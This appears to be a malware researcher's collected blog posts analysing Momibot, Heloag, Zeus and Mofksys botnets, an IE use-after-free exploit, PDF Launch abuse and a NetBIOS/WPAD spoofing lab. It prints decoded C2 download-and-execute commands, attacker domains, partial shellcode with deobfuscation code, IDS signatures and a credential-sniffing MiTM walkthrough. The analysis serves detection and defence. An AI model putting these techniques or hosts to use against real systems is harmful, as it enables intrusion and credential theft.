Uncovering Win32/Momibot communication

The malware sample i am going to be looking at today is classified as Backdoor:Win32/Momibot by Microsoft and also referred to as Backdoor/IRCNite by some other AV vendors.

Packet captures of the sample from my automated sandbox results look something like this -

So, basically the Trojan is communicating on TCP ports 8090 as well as 80. Forcing wireshark to decode packets with TCP port 8090 as HTTP we get a bunch of Requests like -

POST /v4/index.php HTTP/1.0
Host: 203.146.253.110
Content-Type: text/xml
Content-Length: 137
byE8PCdtbyM6PTRzOjdudGBmZmpqYGpjYGp0fG1vfCE8PCdt

And responses -

HTTP/1.1 200 OK
Server: nginx/1.0.0
Date: Wed, 03 Aug 2011 06:58:52 GMT
Content-Type: text/xml
Connection: close
X-Powered-By: PHP/5.1.6
Cache-Control: no-store, no-cache
Content-Length: 56
Content-Disposition: inline
HBhvITw8J21jbzckczk6N250YmRrY2pkYGFqZHRtbzonNj5tOycnI2l8fGtifWJkZH1gYH1qa3xjY2NifTYrNm98Oic2Pm1vfDckbW8+Oj0gJ3M5OjdudGdia2VmZmVqY3RtbzonNj5tOycnI2l8fDg9PCQ/Njc0NiU6NiR9Oj01PHwyITIxOjB8MCAgfCcyMSB9MCAgb3w6JzY+bW98Pjo9ICdtb3whPDwnbQ==

Now, this looks like a base64 encoded HTTP “POST” request. Firing up Malzilla and using the built-in base64 decoder we get -

o!<<'mco7$s9:7ntbdkcjd`ajdtmo:'6>m;''#i||kb}bdd}``}jk|cccb}6+6o|:'6>mo|7$mo>:= 's9:7ntgbkeffejctmo:'6>m;''#i||8=<$?6746%:6$}:=5<|2!21:0|0  |'21 }0  o|:'6>mo|>:= 'mo|!<<'m

Darn ! some sort of encryption I guess. While this may look like a dead-end, the next couple of HTTP Requests have some clues as to what’s happening here -

GET /0001.exe HTTP/1.0
Host: 81.177.33.98
Content-Type: text/xml
Content-Length: 0

So, looks like the Bot is fetching this EXE. Taking a wild shot here and with the following assumptions -

• The C&C issuing commands to the Bot to download 0001.exe
• Simple XOR based encryption

lets try to brute force the base64 decoded response and see if we can get the XOR key in Malzilla.

And Voila – the key is “53” ! Agreed that I am not always that lucky, but hey this just saved me tons of time that I would have wasted reversing the binary which by the way is packed with “PEcompact 2.xx”.

So, now that we know that the Bot using simple XOR+base64 encoding for communicating with its C&C, we can completely decode the communication protocol. Turns out its XML ! Here is what the communication looks like -

CLIENT / SERVER

<root><binfo id='3559939039' nt='1' bv='4.6' lt='LAN' os='Windows XP Professional '> </binfo></root>
OK<root>0<tsync id='1312354849'/></root>

<root><ping id='3559939039'/></root>
OK<root>0<dw jid='1780973297'> <item>http://xx.xx.xx.yy/0001.exe</item> </dw><minstjid='418655690'><item>http://knowledgeview.info/arabic/css/tabs.css</item></minst></root>

<root><jresp id='3559939039'><item jid='1780973297' jstat='4'/><item jid='418655690' jstat='4'/></jresp></root>
OK0

<root><jresp id='3559939039'><item jid='1780973297' jstat='1'/></jresp></root>
OK0

<root><jresp id='3559939039'><item jid='418655690' jstat='1'/></jresp></root>
OK0

There is also hint of XML being used in the HTTP Request itself via the “content-type:” parameter. However, looks like the malware author forgot he was going to use encryption ;) All the samples that I analyzed so far on my setup had the XOR key hardcoded to “53”. Pretty lame huh ?! – cause you can completely automate this process using a simple python script which can be used for checking new commands sent out by C&C.

You can find the full script at http://pastebin.com/N6gJz0Jv

Before starting communication with the C&C, this Trojan checks for presence of UPNP devices on the network which I think it does to figure out if its connecting from LAN or  PPP connections at home. Based on this the Trojan may change behavior. At the time of this analysis the C&C was instructing the Bot to download Win32/FakeRean (belonging to the FakeAV family) malware.

Time to sig this bad boy – Even though it may seem that Trojan is using encryption, it is still possible to create IDS signature as long as the XOR key remains the same. This is because XOR+base64 encode of the initial (XML) string will always be the same. Based on this we can use 2 patterns - “<root><binfo id=” and “<root><ping id=” for creating the signatures -

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Possible Backdoor:Win32/Momibot checkin"; flow:established,to_server; content:"POST"; http_method; uricontent:"index.php"; nocase; content:"byE8PCdtbzE6PTU8czo3"; http_client_body; nocase; classtype: trojan-activity; sid:xxxxxxxxxx; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Possible Backdoor:Win32/Momibot Ping request"; flow:established,to_server; content:"POST"; http_method; uricontent:"index.php"; nocase; content:"byE8PCdtbyM6PTRzOjdu"; http_client_body; nocase; classtype: trojan-activity; sid:xxxxxxxxxxx; rev:1;)

Sometimes, dynamic analysis can give quite a head-start when it come to analyzing Malware ! If you see more samples of this family in wild using different XOR key, please do drop me note. Have fun with the script ! :)

Quick look into CVE-2011-1255 Microsoft IE Time Element Memory Corruption vulnerability

Microsoft patched this vulnerability in June’s Patch Tuesday, but as usual an exploit has emerged for it. The M86 Security team stumbled upon an exploit in the wild and they have already done an excellent job of covering the exploit vector. I fired up Malzilla and decided to dig a little bit deeper to see how the exploit works.

This is a use-after-free vulnerability that is exploited using standard Heap spraying techniques and injected into the browser using a iFrame. Initially, it might seem confusing due to the obfuscation but its pretty straight forward to understand once we break it down into 4 parts -

1. The Trigger
2. The vulnerability
3. Shell code
4. Heap Spray & Main exploit

Trigger :

There are 4 functions that act as a trigger to the exploit – SetCookie(), GetCookie(), GetCookieVal() and DisplayInfo()

The exploit is designed to run only a couple of times in a day and this check is done with the help of client side cookies. So, the above functions are used to check the cookie. Since, the exploit was related to the Time element, initially I thought that the DisplayInfo() function was related to that, but that is not case. After the check is done, the JavaScript then calls eecc(), which is main function that exploits the vulnerability.

The Vulnerability :

According to the Microsoft Advisory MS11-050, the vulnerability is present in the way Internet Explorer attempts to access an HTML Time element object that has not been initialized or has been deleted.

But first, what is this Time element functionality ? – MSDN says:

HTML+TIME (Timed Interactive Multimedia Extensions), first released in Microsoft Internet Explorer 5, adds timing and media synchronization support to HTML pages. Using a few Extensible Markup Language (XML)-based elements and attributes, you can add images, video, and sounds to an HTML page, and synchronize them with HTML text elements over a specified amount of time.

Removing the shellcode and clearing up the script, with a few trial and errors I was able to create the PoC that will trigger the vulnerability -

The bug seems to be present in handling of freed up Time element objects. Line numbers #1 and #2 define the HTML time2 behaviour whereas #4 is the declaration of the “div” attribute that is used for associating the time2 functions.

Using JavaScript, #8 tries to free up this object and then #9 reloads the whole page. I think, this is where the memory corruption occurs and IE is not able to handle the objects properly giving us chance to reuse the allocated memory for the freed up object – hence the “use-after-free” title.

Note that all the above lines are required to reproduce the vulnerability including the Transition Filter definitions. According to the MS advisory IE 6,7 and 8 are vulnerable to this.

Shellcode :

Now that we know what the vulnerability is, achieving remote code execution is done by using standard Heap spraying techniques. But before we jump to that, there is an interesting obfuscation techniques deployed by the author of this exploit for aligning the shell code.

Just immediately after <div> tag, its easy to notice the blob of shellcode. However, if you look closely there are demarcations used for defining the boundaries in capital letters like “MM” or “NN”. So, while it may appear to be a single chunk of  shellcode, there are actually multiple parts of it.

Functions de(), codebk() and getdata() do the job of retrieving the shellcode in proper format. Normally, Shellcode is part of JS functions and obfuscation is done using bunch of math functions and eval calls but this technique of retrieving shellcode is pretty unique and I haven’t seen it before.

Removing the DOM references and modifying function getdata() as shown below, we can easily retrieve the proper shellcode using Malzilla’s JS engine or simply by running in the browser itself.

function getdata(a,b){

    var blob = “MMu9090u9090u10EBu4B5BuC933uB966u03F9u3480uE20BuFAE2u05E…”

//Truncated for sake of brevity. Put the entire shellcode text starting from MM to UU without spaces

    var aa=blob.indexOf(a);
    var bb=blob.indexOf(b);
    var temp="";
    temp=blob.substring(aa+2,bb);
    return temp;   
}
var sc = getdata("MM", "NN");
var ls = getdata("LL", "UU");
var block = codebk(getdata("TT", "KK"));
var pad = codebk(getdata("JJ", "LL"));
var base = codebk(getdata("XX", "YY"));
var s = getdata("OO", "PP");

document.write("SC="+sc);
document.write("\nLS="+ls);
document.write("\nBlock="+block);
document.write("\nPad="+pad);
document.write("\nBase="+base);
document.write("\nS="+s);

Using the modified getdata() and rest of the functions, we can easily print out the various parts of the shell code. The function codebk() and de() are just used to covert it into proper unicode format and unescape the Shell code.

Now, this post is turning out much longer than I thought, so I will cover the shell code probably in some other part, but from my basic dynamic analysis it looks like it drops a binary to a disk and executes it, which in-turn downloads further malware from the exploit hosting site itself.

Heap Spray and main exploit function :

Coming to the main function – eecc() - this is where all the magic happens. Once you substitute the various variables shown above and compare this with any standard Heap spraying code, you will immediately notice the similarities.

I wont spend to much time on Heap-spraying technique (Google it !) but most of it is pretty straight forward.

Initially, the function checks the value of the “User-Agent” string to detect the Browser version from which the page was accessed. Looks like the exploit was designed for IE 8.0, so If the browser is IE 8.0, the script proceeds with the exploit and gets all the Shellcode in the variables.

This is part which sprays the shellcode all over the heap. Next, the time element object is freed and page is reloaded triggering the memory corruption as we have already seen.

That’s it ! Some clever obfuscation tricks and a heap spray will get you malware installed on your system in no time. At this point, I don’t see anyone having a compelling reason to use Internet Explorer, but IE Fan boys should upgrade to the latest version of IE to remain safe, at least for the time being ;)

Blocking Ultrasurf

As part of maintaining Application Recognition signatures, I often get asked by customers if we have support for blocking Ultrasurf – the free proxy based anonymizer tool that is often (miss)used for bypassing content filters in enterprises.

Unfortunately, blocking this over Network using IPS signatures is not possible since the traffic is encrypted. There has been good amount of analysis done on this and many alternative solutions have been proposed – like blocking DNS requests or connections to its servers. But most of the times its not practical to keep blocking IP’s & DNS requests, especially to something like docs.google.com.

The only way to block this thing effectively is from the end host or the Desktop on which it runs. But even that is tricky as the application itself is just one Executable and is not dependant on any registry or file information.

So, using my Ninja windows Batch scripting skillz I came up with this simple one liner which kills the application if found running on the host -

@for /f "tokens=5 delims= " %%i in ('netstat -ano -p tcp ^| find "127.0.0.1:9666"') do Taskkill /F /PID %%i

The way this command works is by looking for the process that listens port TCP 9666 on the “localhost” (127.0.0.1) which the application uses by default and then killing it. As of this writing, in the latest version this port number is hard coded and cannot be changed. Effectively, this little command when fired from a batch file will prevent Ultrasurf from running on the end host. All that needs to be done is to add a schedule task that runs this batch file every min.

So, till Ultrasurf releases a new version that can let user configure the local listening port, this should work like a charm ! :)

Google Code hosting Malware components

Nothing new, It has happened in the recent past as folks at Zscaler had pointed out. But this time its not the malware itself, but part of its configuration and components being hosted on Google code servers. For those who don’t know Google code is a free, Web based platform that provides tools and resources to developers interested in working on Google-related open source software projects or projects that leverage Google services.

[Microsoft : Win32/Mofksys.A] (rather difficult to pronounce) is a worm type of Malware that spreads via network shares, removable drives and by email. While analyzing it today, I found out that It is using *.googlecode.com for hosting its malware components. And its not just a single project site that is being used - there are multiple projects hosting various components of this malware !

Once executed, apart from doing all the nasty stuff, one of the activity of this worm is to fetch its configuration and component files. These are being stored as .gif files on Google Code servers.

Despite of what Google claims about protecting users from malware being hosted on their servers, I found that this malware author seems to be using it for quite some time now !

Some of the entries date back to as old as 16th Oct 2009, which is when this Project was created ! It means that the worm has been around for almost a year now. No wonder these files have been downloaded so many times !

Following projects are being used by this malware -expcmd01.googlecode.com
expcmd02.googlecode.com
expcmd03.googlecode.com
expeml04.googlecode.com
expcmd04.googlecode.com

Based on the Project naming convention - “cmd” and “eml” could be for commands and email template respectively. While it is too early to comment if this is a new kind of BotNet, but this could be another smart way to use Google Code servers for C&C communications just like we saw Twitter being used as C&C sometime back. Haven’t had a detailed look at the downloaded files but they have names like cmsys.gif, udsys.gif, 2picsys.gif and use some kind of encryption (not clear text).

Following are the md5 of the samples that seem to be using the same set of Google code Projects to download components from – ee84838421768c902690281178e7a0ce
c7dcc44cb0c3355bedff8bc7c34ab43c

Google was prompt enough to remove the Projects as soon as I reported the matter to them. So as of this writing they are no longer accessible.

Using popular public services such as Google code, Twitter, Facebook, etc.. as C&C servers is a great way of ensuring that the controls channels stay low on the radar as well as away from content filtering software thus ensuring longevity of the malware. I won’t be too surprised if this turns out to be a part of a new Bot building kit like the Zeus :P

After long time..

Yeah, Its been a really really long time since I have written something here and I apologize for that. It’s just that I have been a hell lot busy with new stuff at work and a lot of research that I have been doing in building Malware automation Frameworks ! Plus not to mention the ton of 0days that have been piling on recently.

Hopefully, I should get some more free time from now on and I will share my findings with you all. I have been writing a lot of cool python scripts or script-lets some of which I will post here soon.

So ‘till next time, I will leave you with this pic -

More later..

Trojan Heloag Botnet

Looks like there is a new Botnet on the horizon. Win32/Heloag is treated as Backdoor Trojan by many AV companies but appears to be a new kind of Botnet that uses P2P for communicating with its peers and Bot master. Its been out there for a while now.

A recent post by Arbor Networks on the Bot’s analysis actually prompted me to have a closer look at this piece of malware. Either their report is missing something or I seem to have observed some additional activities that the Bot does ! So here is some insight into the protocol the Bot uses for its communication with Peers as well as its Bot Master.

Once infected, as usual the malware copies itself to the windows system folder as file with names such as “crse.exe” or “conme.exe”. Some initial variants of this malware use TCP port 1106 for the communication with their Bot Master or Command & Control (C&C) server where as the newer variants appear to be using TCP port 8090.

The Bot uses a clear text payload with the first byte being used as a identifier of message or activity that the C&C server wants the Bot to perform. During my analysis I observed following messages:

0x01 – Initial Hello message (sent by Bot)

0x02 – Keep alive

0x03 – Peer information (sent by C&C)

0x04 – File download and execution (sent by C&C)

After infection, the Bot communicates with its C&C using the Hello message followed by the hostname. So, the 32Bytes of payload looks something like this -

01 + Hostname + Null padding

As mentioned earlier, older variants must have been using TCP port 1106 to communicate, so if that is the case they are upgraded to the latest versions. The C&C uses the “04” command for this and looks something like this:

04 + 2Bytes for no. of URLs + 64Bytes of payload info

payload = 00 00 + URL to fetch and execute + null padding

The upgraded Bot now starts using TCP 8090 for communication. Next, the C&C sends a “peers list” to the Bot for its P2P using “03” command that looks something like this:

03 + 2Bytes for no. of peers + 64Bytes of peer information

Peer information = 00 00 + Peer-IP + null padding + Peer-port

Unlike what the Arbor networks report said, I observed the P2P communication on TCP as well as UDP ports. At the time of the analysis, the Bot was using port ranges 7105 – 7506 for TCP as well as port ranges 9101 - 9301 for TCP & UDP.

It exchanged huge amounts of traffic on the UDP ports – almost 15MB in a very short time ! Though UDP payload appeared to be encrypted it was exactly 100 Bytes in length. Also, the use of its P2P communication is not known yet.

While I have not done a static analysis yet, I guess that the use of TCP or UDP is determined on the basis of port range itself and must be hardcoded in the binary as that info is not passed on by C&C as part of its protocol.

Whether or not this is a entirely new piece of Botnet is doubtful, but the communication protocol does appear to be different than what I have seen before in other botnets such as Conficker or Waledac.

That’s it for now. I will be playing around a bit more with this. Will update if I find something new. Following are the md5 of the binaries used for this analysis -

b36a68304cec89cf35ddaea8a7e8406d

6a5759f5e32253e06217baa6e1b1dbe1

ed96a6175f00e21df631b295b3019f6a

Stay tuned !

PDF Command execution vulnerability

Researcher Didier Stevens just managed to discover that he can make PDF reader execute any command without exploiting any vulnerability ! On his blog he demonstrated how the “Launch” action parameter of PDF document can be abused to execute arbitrary command on the victims machine.

Though he did not reveal complete details, his partial PoC is good enough to guess how the attack can be made possible. I decided to have a look at it and see how this behaves on different platforms and readers.

Apparently what Adobe thought was a feature, leaves gaping holes in the operating system for any attacker to exploit ! By Simply having a look at the PDF file specifications from Adobe’s website, I was able to create the attack that Sevens has described in his Post. It is extremely trivial to manipulate the dialog box prompt -

This was tested on WinXP SP3 with Adobe 9.3.1. Clicking on open, directly opens calculator as I just changed “/F” parameter from his PoC to “calc.exe”.

But wait, that’s not it, I replaced calc.exe with guess what – a URL and voila … my browser just opened and took me straight to that page. Ohh.. how nice Adobe !!? :/ If your PDF opens directly in your browser, then it gets even better ! -

PDF URL Redirection in action

Now, not only can the attacker take you to a exploit loaded website, but this also becomes a even more lucrative vector for phishing attack. Imagine receiving a PDF from a bank that asks you click on “open” to go its website for entering details !

I decided to try this on my Ubuntu 9.10, but (thank god) the Evince document viewer did not open any file (yes I modified the PDF for xcalc). But what about Adobe Reader 9.3.1 on Ubuntu ?? It did gave the prompt but unlike windows, it did not allow me to execute any program.

Instead I was able to open any file in the default editor. Also, note that I was not able to control the prompt text box as in the case of windows ! Also, the URL demo also didn’t work with Adobe on Ubuntu.

Hope Adobe and others fix this issue soon ! I don’t wanna start analyzing another pile of malicious PDF’s again .. ;)

Trying to skip the fish

Automated Web application security testing tool “skipfish” was released recently which seem to have generated a lot of attention in the “security community”. So,I decided to give it a try and install it in my lab.

Unfortunately, I run very old Linux distros in my lab (like RedHat 9 for example) and I am too lazy to upgrade to newer versions. Anyways, during installation I soon realized that it’s not that easy to get skipfish up and running on RH9. 

As with any installation on Linux, I had a quick look at the readme and skipfish wiki and went ahead with “make” command only to end up with -

/usr/include/openssl/kssl.h:72:18: krb5.h: No such file or directory
In file included from /usr/include/openssl/ssl.h:179,               from http_client.h:26,

To fix this, I had to edit the “Makefile” in the skipfish dir and add the following entry to the “CFLAGS_GEN” variable –

“-I /usr/kerberos/include/”

Hoping to compile skipfish successfully this time, I proceeded with the make command and was greeted with a different error this time -

http_client.c:39:18: idna.h: No such file or directory

Apparently, I assumed libidn to be present on RH9 and had not read the “knownIssues” doc properly. Thankfully, downloading libidn source and installing was pretty straight forward and went without a glitch. Finally, skipfish compiled successfully !

Sadly, my problems were not over :(. When I tried to run it, I got the following error -

./skipfish: error while loading shared libraries: libidn.so.11: cannot open shared object file: No such file or directory

After some googling I found a way to fix this. Just add “/usr/local/lib” to “/etc/ld.so.conf” and rebuild the dynamic run-time bindings cache using “ldconfig –v”.

That did the trick and I had skipfish version 1.13b running on my RH9 system.

Happy skipfish’ing… :)

CVE-2010-0188 Adobe Reader TIFF vulnerability

The recent Adobe reader vulnerability (CVE-2010-0188) seems to be doing lot of rounds these days. Thanks to Mila (contagio blog), I got a chance to look at the malicious PDF file.

A Quick look at the stats using pdf-parser tool reveals the structure of this file -

C:\Analyze>pdf-parser.py -a "2010 March Luncheon Invitation_FINAL.pdf"
Comment: 4
XREF: 0
Trailer: 0
StartXref: 2
Indirect object: 43
12: 44, 45, 46, 55, 91, 92, 112, 114, 115, 117, 115, 135
/Catalog 1: 43
/EmbeddedFile 9: 2, 3, 5, 6, 7, 121, 122, 123, 124
/Filespec 2: 116, 134
/Metadata 2: 13, 13
/ObjStm 9: 125, 126, 127, 128, 129, 130, 131, 132, 136
/XObject 6: 56, 57, 113, 118, 119, 120
/XRef 2: 133, 137

Since most of the PDF exploits are created using embedded JavaScript, my instinct was to look for JavaScript object streams inside the PDF. But that didn’t reveal any interesting results, so I turned my attention to other objects.

The actual shellcode appears to be present in object 119 -

..while the TIFF file in object 122 is used to cause the overflow in the ImageConversion.api -

Finally object 3 contains the reference to TIFF file -

All the streams in the PDF file are compressed, so I had to use the “-f” option with pdf-parser tool to inflate them and see the content. There was also a wave file stream in the PDF which is a little strange, but I could not get it to play !

Both the dropped files appear to be the same as explained in Mila’s previous analysis on the Contagio blog. Lastly, the PDF seems to have been created on 25-Feb-2010 and modified on 03-Mar-2010 using Adobe LiveCycle Designer ES 8.2.

After reading some more on the exploit, I found that the exploit for this vulnerability does not use JavaScript. Which means even if you have disabled JavaScript in Adobe reader, this exploit will work and that probably explains why bad guys are going after this vulnerability despite Adobe releasing the patches last month !

Olympics 2010 news ending up with Malware

Recently I covered how malware authors use Blackhat SEO poisoning to distribute malware on unsuspecting victims. Since then, I have been closely monitoring the news trends and this time the bad guys are targeting is searches related to Vancouver Olympic games 2010.

Tragedy struck at the Olympic games Luge (ice racing) event, when a 21 year old athlete Nodar Kumaritashvili died during a practice session on Friday. Apparently a video of live footage spread across YouTube and other news channels like wild fire.

The IOC moved quickly to take the Luge crash videos off the Internet thus increasing the popularity of this search even further as those not glued to early coverage were desperate to get news on the Luge crash. The bad guys were quick enough to capitalize on this and started poisoning the search results with a lot of “bad” links.

Normally I find just a couple of links poisoned on the first page but this is the first time I saw more than 6 to 7 bad links on the first page of the Google search result itself !

Once you click on the poisoned link, you are presented with a YouTube like video loading screen which then displays a “ActiveX object missing” error.

If you click on any of the buttons above a downloader Trojan gets installed on your PC which further downloads more malware. Unlike last time where it appeared that the machine was being scanned by AV, here its “missing video object” that is used to convince a unsuspecting victim to download the malware.

I am not sure why Google is not removing the bad links from their searches as they did last time when valentine day searches were getting poisoned results. This just shows that the bad guys are getting better with every new tragedy that is happening out there.

I would advise caution for all the readers who are trying to search for latest news videos out there. Do not click or install anything that claims to be a missing video codec or object.

99.9% of websites require only Adobe Flash player to be installed in order to play streaming videos. If you find a website that is not playing a video, just find another link that works with Flash ! And incase Flash is not installed, go and install it from adobe’s website rather than from the site which is hosting the video.

Trojan using MS SQL ??

Well its my first post in 2010 :) … rather late, apologize for that.

Recently came across a Trojan sample that actually connects to a Database server and does some SQL commands ! This is the first time I saw something like this.

Normally, Backdoors and other malware use HTTP interfaces (POST/GET commands) to talk to their command servers, but in this case the malware was talking directly to the Microsoft SQL Server using standard DB commands on TCP port 1433.

After looking around for details on this Trojan, I realized that this malware was one of the components that a variant of Zbot downloads.  Not many AV vendors detected this malware sample.

Once executed, the Trojan attempts to connect  to dbsq0002.whservidor.com on TCP port 1433. I don’t exactly speak TDS (Tabular Data Stream) format but from the looks of it, it tries to access “estargames1” DB and then executes the following SQL command -

SELECT * from TBL_002 where localizador = A0D23C2E

If the Query does not return any results, it goes ahead makes an entry into the database using -

INSERT into TBL_002 (localizador,data,horas) VALUES (‘A0D23C2E’, ‘2/3/2009’, ‘11:09:29 AM’)

The string “A0D23C2E” appears to be random and keeps changing with every infection.

Now the fact the some cares to install a Microsoft SQL database on standard port open facing internet  is really funny ! :) Makes me wonder what’s the exact intention of this malware ? – Is it some online gaming server as the name suggest or is the malware author trying to track the infections of its Trojan ??

Drop me a comment if you have more info on this !

Digging deep into BlackHat SEO - Part2

This summary is not available. Please click here to view the post.

Digging deep into BlackHat SEO – Part1

It was used before for tragic news and has been seen once again now when actress Brittany Murphy passed away over the last weekend. Cybercriminals have been very effectively using SEO techniques to download malware on users machines who are trying to browse Internet looking for latest breaking news.

A simple Google search for “Brittany Murphy death” reveals some interesting search results. After the first two-three valid results, there are some mysterious links that at first seem very valid based on the preview text you see in the results.

There is no way any average user can figure this out but when you actually click on one of such links, it takes you to some completely different URL and often through multiple redirects.

This is all done using Search Engine Optimization (SEO) techniques. The bad guys first create a page and dump all the popular sentences surrounding a breaking news like – “Airline crash” or “Michael Jackson death” onto that page. They also inject an iframe on the same page that will have one or more redirects to a malicious web page. Then using special SEO tools like XRumer they increase their page ranking by spamming their URL all over the internet.

When you click on one such poisoned search result, suddenly out of no where there will be a windows pop-up alert on your screen -

Ultimately you end up landing on a page that first seems like an Antivirus which is scanning your local machine but is in fact a very cleverly designed web page.

So depending on which OS you are running, the malicious webserver shows you a corresponding look and feel type of Antivirus program. This one above shows a Vista/Win7 look and feel to it where as if you are running WinXP you get this -

If you look closely, it is completely designed to trick a user into believing that a Antivirus is scanning the PC. If you are an average Internet user, you won’t even realize that this is being rendered through Internet Explorer ! That is some clever use of HTML and JavaScript code ;)

At this point, irrespective of where you click, you will be prompted to download and install a setup file which is nothing but a downloader Trojan. It downloads Rogue Antivirus program which not only have a look and feel of popular AV programs but also have funky names like “Antivirus 2010” or “PC Protect 2010”. But before you can say clean, it will prompt you for registration which can be anywhere from 30$ to 80$ :P !

This trick of threatening the a victim by showing how infected his PC is, works out rather well. A lot of not-so-tech-savvy people fall for such kind of tricks and the bad guys seem to be earning a lot. The Rogue AV products keep changing their names and so do the various domains that host these malicious pages. This has been one of the very popular attack vector for malware distributers in 2009.

In the next part I will show you what all things go behind the scene in these type of attacks.

Stay tuned and Merry Christmas ! :)

NetBIOS Spoofing

The other day I came across a post at skullsecurity.org that spoke about an interesting way of using NetBIOS name service for doing MiTM attack. The author showed how his tool nbpoison could be used to inject false NetBIOS information on the wire and spoof other hosts.

This is very interesting form of doing MiTM as there is no arp-spoofing involved and that is good, since every Tom, Dick and Harry’s device in the network today detects/blocks arp-poisoning kind of attacks. Also, arp-spoofing is way to noisy and can easily give away attackers presence in the network. Not to mention that its a old-school attack that has been there for quite some time now.

So, I decided to explore this and have some fun using the nbtools and figure out what all attacks can be made possible in my Lab. I have in all 3 machines in my lab - 2 WinXP Hosts and 1 Linux host which acts as the gateway for the windoze boxes. As the author has mentioned, this attacks are more useful in hotels or conferences where there are internet kiosks with captive portal authentication mechanisms.

Scenario 1: DNS Choking

This attack is useful when, for some reason, DNS server on a network is not reachable. There could be multiple possibilities -either uplink of the switch you are connected to is (purposely) physically disconnected or network/firewall miss-configuration or DNS server/service itself is down. Even some captive portals prevent access to any resources before you authenticate. So, if the DNS server is not available, as a last resort, Windoze will fall back to NetBIOS name resolution and this is where we can 0wn the box.


So, as you can see, webserver on the Linux box was used to host the fake page which could have been anything from fake captive portal logins to fake Gmail login page to trick the user into entering his credentials. In the above scenario, I had blocked all connections from the victims (10.10.10.7) machine using iptables on the gateway (Linux Box). FYI, the nbpoison tool can be run on any machine and need not be on the gateway.

Scenario 2: Abusing WPAD Requests

This type of attack is useful when browsers have the “Automatically detect settings” enabled in the “LAN Settings” menu. IE and Firefox both have this setting in order enable network administrators to automatically configure proxy settings. This is made possible using WPAD (Web Proxy Auto Discovery) protocol which also uses NetBIOS requests to look for the “wpad.dat” file. This is nothing but a simple plain-text configuration file that tells the browser which proxy to connect to for browsing the internet.

So, here we use the famous “sslstrip” to force HTTPS connection to HTTP and sniff passwords in clear text. Like before, we use the webserver on the Linux box to host the wpad.dat file which redirects the victims browser to sslstrip (running on port 8080) and we get to see all the good stuff :) !

The possibilities in this scenario are endless. We could use our own proxy, something like Paros to completely manipulate the victims browsing experience. But I will leave all the evil thinking to the reader as an exercise ;)

** DISCLAIMER: This is meant as a pure instructional tutorial. I am not responsible for the damages caused by any script-kiddies stupidity or lack of understanding thereof. No harm in any form was caused to anybody in the making of this tutorial.

Dissecting Zeus Botnet...

Posting after a long time.. was quite busy with some presentations to make as well as with my Protocol Fuzzer script which should be ready soon.

Anyways, the Zeus Botnet has been around for quite some time now and has gained some attention with its Internet Banking password stealing campaigns and Zeus Crimeware Kit ! Recently I received a sample which happened to be one of the Trojans belonging to this family.

“uk.exe” as it being distributed around in the wild initially seemed something else as VirusTotal results reported a rather poor detection percentage by AV vendors and also a different name like Trojan.Meredrop or Bancos.lgi. At the time of this analysis, only 2 of the major five AV companies were able to detect this Trojan and Microsoft reports suggested it as a downloader.

But, when I started up with my usual dynamic analysis, things were a little different. I had no idea that I was dealing with Zeus Botnet Trojan. This Trojan has a root kit functionality and it injects itself into one of windows processes to avoid detection. As soon its executed, the orginal process (uk.exe) exited and soon the Trojan became part of svchost.exe as expected. It then connected to “ogurchik.cn” like any typical downloader over HTTP.

  Fig1: Trojan communication

As I was looking at wireshark trying to search patterns to write IPS signature, I noticed that everything was encrypted :( A little disappointed, I started digging in deeper looking at File/Registry changes done by the malware to see if I could locate the downloaded stuff on the disk. Even that too was encrypted and file locked by the Trojaned process itself. So, as usual when nothing works google does :) .. searching for “ogurchik.cn” directly landed me to zeustracker.org website and I realized that I was dealing with something more sinister than just a downloader.

After reading an excellent article at Threatexpert blog on the Zeus Botnet, I knew that I was dealing with “variant 4” of the Zeus Botnet and that the encrypted communication is nothing but the configuration file of the Bot. Luckily I got hold of the Zeus Decryptor tool so I didn't have to re-invent the wheel. The encryption is done using RC4 algorithm and the funny part is that the 256-bit key is stored within the Trojan exe when its built. So for the Decryptor tool to work, it has to run on the same infected machine so that it can extract the key from the  memory  of the Trojaned process.

  Fig2 : Dumping raw data from Wireshark / Decryptor in Action

After dumping raw data from the HTTP Response into file (zeus.cfg.raw), I ran the decryptor tool to get the clear text data and was shocked to see js code in it ! When I was reading more on the Zeus functionality, I was amazed at one of the Trojans capability and that was to intercept & inject HTML code in Browser in real-time ! So, I decided to play around more with the Trojan hoping to see the password stealing process in action. After going through the fairly elaborate Java code, I figured out that it was designed to manipulate code for banking sites belonging to HSBC, Abbey Santander, Alliance & Leicester and NatWest banks – all UK based Internet banking sites.

 Fig3: The Zeus configuration file

So, I opened the NatWest website and entered some fake details for all the fields and voila ! .. Apart from the encrypted traffic, there was a HTTP request to “ety8sj.cn” submitting all the data captured in clear text ! There it was – all the credentials nicely packaged along with “ZCID” (Zeus ID) which was my machine name followed by random string. I wonder why the malware authors decided to keep this part in clear text, they might as well have had used encryption for this too – but hey, it definitely made my life easier since I could now write a IPS signature for it ! :)

 

Fig4: Stolen credentials being submitted to the attacker

But the ability to inject code and manipulate data in the Browser was just amazing ! I mean who thought of this thing – it just defeated everything - SSL, Secured Login everything ! As If that was not enough - it detects the virtual keyboard in use and starts taking screenshots leaving end user completely helpless !

At this moment there are Zeus Kits being sold in the wild for anywhere between $400 to $800 and mind you these are sophisticated kits with a proper User Interface and statistics logging which allow you to completely customize the Trojan as per the needs. Some guys are also selling “Zeus as a service” giving control of their botnet on rent for a few days ! :o Since each binary of the Trojan generated from the kit is designed to have different code, the criminals can virtually churn out thousands of such Trojans and that explains the poor detection rate by the AV companies.

Interesting C&C BotNets

Gone are the days when “Command & Control” Botnets were controlled using IRC channels or web servers. These days, attackers have moved to more sophisticated techniques or rather they are taking advantage of already available public infrastructure to control their army of Bots.

One such case is that of a Bot using Google Groups for sending out the control commands. Discovered by a researcher at Symantec, this Trojan upon infecting a machine, connects to a private Google group called “escape2sun” and requests a page. This page contains encrypted commands for the Trojan that typically consist of an index number, a command line to execute, and optionally, a file to download. Now not only can the malware author control the Botnet, but he also gets all the additional features of Google groups such as version control and tracking group activity, etc. !  Smart stuff, eh ?! Read more about it here.

Other similar publically available service that is being exploited by Botnet authors is “Twitter”. Using obfuscated Twitter status messages on a account, the malware author is able to send commands to its Trojans. The Trojan works by reading the RSS feed to a particular Twitter account designated by the Botnet author.  This appears to be a direct fall out of a PoC that was presented at Defcon 17 regarding a tool called “KreiosC2”. More about this here.

